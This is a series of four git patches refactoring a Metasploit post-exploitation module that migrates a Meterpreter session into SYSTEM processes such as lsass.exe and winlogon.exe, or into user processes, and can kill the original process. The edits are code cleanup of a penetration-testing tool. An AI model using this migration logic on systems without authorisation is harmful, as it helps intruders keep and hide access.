From ad50f9a047277e06bab1b02d5393b09d819f6e37 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 8 Jan 2016 14:03:30 -0600 Subject: [PATCH 1/4] move default targets to constants cleanup the way the target lists get populated to use constants and be a little cleaner and dryer --- modules/post/windows/manage/priv_migrate.rb | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 72e2114373..b96bdc89ca 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -10,6 +10,9 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Priv + DEFAULT_ADMIN_TARGETS = [ 'services.exe', 'winlogon.exe', 'wininit.exe', 'lsm.exe', 'lsass.exe' ] + DEFAULT_USER_TARGETS = [ 'explorer.exe', 'notepad.exe' ] + def initialize(info={}) super( update_info( info, 'Name' => 'Windows Manage Privilege Based Process Migration ', @@ -37,13 +40,11 @@ class Metasploit3 < Msf::Post def run # Populate target arrays - admin_targets = [] - admin_targets << datastore['ANAME'] if datastore['ANAME'] - admin_targets << "services.exe" << "winlogon.exe" << "wininit.exe" << "lsm.exe" << "lsass.exe" + admin_targets = DEFAULT_ADMIN_TARGETS.dup + admin_targets.unshift(datastore['ANAME']) if datastore['ANAME'] - user_targets = [] - user_targets << datastore['NAME'] if datastore['NAME'] - user_targets << "explorer.exe" << "notepad.exe" + user_targets = DEFAULT_USER_TARGETS.dup + user_targets.unshift(datastore['NAME']) if datastore['NAME'] # Get current process information original_pid = client.sys.process.open.pid From 9716b97e1c52aa52f2849ef9d72c64035b2ae4fa Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 8 Jan 2016 14:26:39 -0600 Subject: [PATCH 2/4] split up the migration efforts move admin and suer migrations into seperate methods for enhanced readability and maintainability --- modules/post/windows/manage/priv_migrate.rb | 108 +++++++++++--------- 1 file changed, 61 insertions(+), 47 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index b96bdc89ca..615ce638ec 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -39,54 +39,12 @@ class Metasploit3 < Msf::Post end def run - # Populate target arrays - admin_targets = DEFAULT_ADMIN_TARGETS.dup - admin_targets.unshift(datastore['ANAME']) if datastore['ANAME'] - - user_targets = DEFAULT_USER_TARGETS.dup - user_targets.unshift(datastore['NAME']) if datastore['NAME'] - # Get current process information - original_pid = client.sys.process.open.pid - original_name = client.sys.process.open.name - print_status("Current session process is #{original_name} (#{original_pid}) as: #{client.sys.config.getuid}") - - # Admin level migration starts here - if is_admin? - if !is_system? - print_status("Session is Admin but not System.") - print_status("Will attempt to migrate to a System level process.") - else - print_status("Session is already Admin and System.") - print_status("Will attempt to migrate to specified System level process.") - end - - # Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work. - admin_targets.each do |target_name| - if migrate(get_pid(target_name), target_name, original_pid) - kill(original_pid, original_name) if datastore['KILL'] - return - end - end - print_error("Unable to migrate to any of the System level processes.") - else - print_status("Session has User level rights.") - end - - # User level migration starts here - print_status("Will attempt to migrate to a User level process.") - - # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. - user_targets.each do |target_name| - if migrate(get_pid(target_name), target_name, original_pid) - kill(original_pid, original_name) if datastore['KILL'] - return - end - - if migrate(spawn(target_name), target_name, original_pid) - kill(original_pid, original_name) if datastore['KILL'] - return - end + @original_pid = client.sys.process.open.pid + @original_name = client.sys.process.open.name + print_status("Current session process is #{@original_name} (#{@original_pid}) as: #{client.sys.config.getuid}") + unless migrate_admin + migrate_user end end @@ -125,6 +83,62 @@ class Metasploit3 < Msf::Post end end + # Attempts to migrate into one of the Target Admin Processes. + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate + def migrate_admin + if is_admin? + # Populate target array + admin_targets = DEFAULT_ADMIN_TARGETS.dup + admin_targets.unshift(datastore['ANAME']) if datastore['ANAME'] + + if is_system? + print_status("Session is already Admin and System.") + else + print_status("Session is Admin but not System.") + end + print_status("Will attempt to migrate to specified System level process.") + + # Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work. + admin_targets.each do |target_name| + if migrate(get_pid(target_name), target_name, original_pid) + kill(original_pid, original_name) if datastore['KILL'] + return true + end + end + print_error("Unable to migrate to any of the System level processes.") + else + print_status("Session has User level rights.") + end + false + end + + # Attempts to migrate to one of the Target User Processes + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate + def migrate_user + # Populate Target Array + user_targets = DEFAULT_USER_TARGETS.dup + user_targets.unshift(datastore['NAME']) if datastore['NAME'] + print_status("Will attempt to migrate to a User level process.") + + # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. + user_targets.each do |target_name| + if migrate(get_pid(target_name), target_name, @original_pid) + kill(@original_pid, @original_name) if datastore['KILL'] + return true + end + + if migrate(spawn(target_name), target_name, @original_pid) + kill(@original_pid, @original_name) if datastore['KILL'] + return true + end + end + false + end + # This function will attempt to spawn a new process of the type provided by the name. def spawn(proc_name) begin From 536378e023babe885ffa34f1a547749d12fd0be4 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 8 Jan 2016 14:31:42 -0600 Subject: [PATCH 3/4] move datastore kill check to kill method move the datastore check for datatstore['KILL'] into the actual kill method for sake of DRYness --- modules/post/windows/manage/priv_migrate.rb | 24 +++++++++++---------- 1 file changed, 13 insertions(+), 11 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 615ce638ec..7fcd5d655c 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -102,8 +102,8 @@ class Metasploit3 < Msf::Post # Try to migrate to each of the System level processes in the list. Stop when one works. Go to User level migration if none work. admin_targets.each do |target_name| - if migrate(get_pid(target_name), target_name, original_pid) - kill(original_pid, original_name) if datastore['KILL'] + if migrate(get_pid(target_name), target_name, @original_pid) + kill(@original_pid, @original_name) return true end end @@ -127,12 +127,12 @@ class Metasploit3 < Msf::Post # Try to migrate to user level processes in the list. If it does not exist or cannot migrate, try spawning it then migrating. user_targets.each do |target_name| if migrate(get_pid(target_name), target_name, @original_pid) - kill(@original_pid, @original_name) if datastore['KILL'] + kill(@original_pid, @original_name) return true end if migrate(spawn(target_name), target_name, @original_pid) - kill(@original_pid, @original_name) if datastore['KILL'] + kill(@original_pid, @original_name) return true end end @@ -155,13 +155,15 @@ class Metasploit3 < Msf::Post # This function will try to kill the original session process def kill(proc_pid, proc_name) - begin - print_status("Trying to kill original process #{proc_name} (#{proc_pid})") - session.sys.process.kill(proc_pid) - print_good("Successfully killed process #{proc_name} (#{proc_pid})") - rescue ::Rex::Post::Meterpreter::RequestError => error - print_error("Could not kill original process #{proc_name} (#{proc_pid})") - print_error(error.to_s) + if datastore['KILL'] + begin + print_status("Trying to kill original process #{proc_name} (#{proc_pid})") + session.sys.process.kill(proc_pid) + print_good("Successfully killed process #{proc_name} (#{proc_pid})") + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("Could not kill original process #{proc_name} (#{proc_pid})") + print_error(error.to_s) + end end end end From 5e6620f2cf1d7fb8a86bca9ed50ee766eb5b25a9 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 8 Jan 2016 14:36:21 -0600 Subject: [PATCH 4/4] add yard doc and lexical sorting lexical sort methods and add missing YARD docs --- modules/post/windows/manage/priv_migrate.rb | 39 +++++++++++++-------- 1 file changed, 25 insertions(+), 14 deletions(-) diff --git a/modules/post/windows/manage/priv_migrate.rb b/modules/post/windows/manage/priv_migrate.rb index 7fcd5d655c..d22ac915c1 100644 --- a/modules/post/windows/manage/priv_migrate.rb +++ b/modules/post/windows/manage/priv_migrate.rb @@ -50,6 +50,9 @@ class Metasploit3 < Msf::Post # This function returns the first process id of a process with the name provided. # Note: "target_pid = session.sys.process[proc_name]" will not work when "include Msf::Post::Windows::Priv" is in the module. + # + # @return [Fixnum] the PID if one is found + # @return [NilClass] if no PID was found def get_pid(proc_name) processes = client.sys.process.get_processes processes.each do |proc| @@ -58,7 +61,26 @@ class Metasploit3 < Msf::Post return nil end + # This function will try to kill the original session process + # + # @return [void] A useful return value is not expected here + def kill(proc_pid, proc_name) + if datastore['KILL'] + begin + print_status("Trying to kill original process #{proc_name} (#{proc_pid})") + session.sys.process.kill(proc_pid) + print_good("Successfully killed process #{proc_name} (#{proc_pid})") + rescue ::Rex::Post::Meterpreter::RequestError => error + print_error("Could not kill original process #{proc_name} (#{proc_pid})") + print_error(error.to_s) + end + end + end + # This function attempts to migrate to the specified process. + # + # @return [TrueClass] if it successfully migrated + # @return [FalseClass] if it failed to migrate def migrate(target_pid, proc_name, current_pid) if !target_pid print_error("Could not migrate to #{proc_name}.") @@ -140,6 +162,9 @@ class Metasploit3 < Msf::Post end # This function will attempt to spawn a new process of the type provided by the name. + # + # @return [Fixnum] the PID if the process spawned successfully + # @return [NilClass] if the spawn failed def spawn(proc_name) begin print_status("Attempting to spawn #{proc_name}") @@ -152,19 +177,5 @@ class Metasploit3 < Msf::Post return nil end end - - # This function will try to kill the original session process - def kill(proc_pid, proc_name) - if datastore['KILL'] - begin - print_status("Trying to kill original process #{proc_name} (#{proc_pid})") - session.sys.process.kill(proc_pid) - print_good("Successfully killed process #{proc_name} (#{proc_pid})") - rescue ::Rex::Post::Meterpreter::RequestError => error - print_error("Could not kill original process #{proc_name} (#{proc_pid})") - print_error(error.to_s) - end - end - end end